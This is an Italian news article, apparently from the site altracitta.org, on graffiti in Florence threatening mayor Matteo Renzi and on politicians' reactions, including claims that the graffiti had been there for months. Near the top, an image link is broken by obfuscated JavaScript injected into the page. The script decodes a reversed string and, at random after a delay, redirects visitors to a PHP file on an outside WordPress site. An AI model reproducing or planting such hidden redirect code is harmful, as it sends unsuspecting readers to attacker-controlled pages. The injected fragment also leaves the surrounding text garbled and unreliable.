Le scritte contro il sindaco? Proviamo a ricostruire cosa è successo

image_pdfimage_print

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2012/03/renzi_scritta_sansovino.jpg”>Nel pomeriggio di ieri il sindaco Matteo Renzi scriveva su internet: “Grazie a tutti per l’affetto e la vicinanza dopo la minaccia apparsa su un muro della mia città. Sono molto tranquillo perché credo nella forza delle Istituzioni”. La scritta “apparsa” in via Sansovino recitava “Renzi per te la P38” ed era affiancata da due stelle a 5 punte nere (?!?), che sono state associate a quelle delle Brigate Rosse.

Qualcosa però non torna. A quanto pare, infatti, scritte “brigatiste” che minacciavano Renzi erano presenti da mesi proprio in via del Sansovino.

Scrive ad esempio Daniele Bagnai, capogruppo Pdl al Quartiere 4 “Le scritte comparse a Firenze in via del Sansovino e di cui è stata data notizia ieri, erano lì da qualche mese e il sindaco era stato informato“. In data 30 maggio 2011 Bagnai scrisse infatti una segnalazione al sindaco che rispose subito ringraziandolo. “Successivamente” – prosegue l’esponente del Pdl in tono burocratico – “non solo ho più volte constatato che la scritta permaneva, ma si è aggiunta quella che ha suscitato profonda e legittima reazione corale di condanna, che, nella sua versione originaria non mi sembrava recare la stella a 5 punte”.

Sempre oggi sulla vicenda sono intervenuti Ornella De Zordo, Marco Sodi e Adriana Alberici della lista di cittadinanza perUnaltracittà. “Mentre i comitati e molti soggetti attivi in vertenze in città pongono questioni di sostanza e di metodo su decisioni che non condividono e spesso elaborano proposte alternative attivando partecipazione e competenze, evidentemente qualcuno trova più facile scrivere una minaccia su un muro. Ci chiediamo anzi, come mai la scritta non sia stata segnalata quando è comparsa sul muro di via del Sansovino, visto che ora giungono segnalazioni di persone che l’avevano già notata mesi fa. Il che esclude peraltro il suo collegamento con fatti avvenuti negli ultimi giorni.”

Alcuni, a destra, non avevano infatti perso tempo nell’associare la scritta alla decisione presa dalla giunta comunale nei giorni scorsi di vendere l’immobile in cui è ospitato il Centro sociale Cpa-FiSud. Ha detto ad esempio il consigliere regionale del Pdl Tommaso Villa: “Una strana coincidenza vede apparire la scritta minatoria nei confronti del sindaco all’indomani della notizia della decisione dell’amministrazione comunale di chiudere il Cpa di via Villamagna. Non sta a noi ipotizzare un nesso tra i due fatti” – ha aggiunto subdolamente – ma la matrice politica è inequivocabile”.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *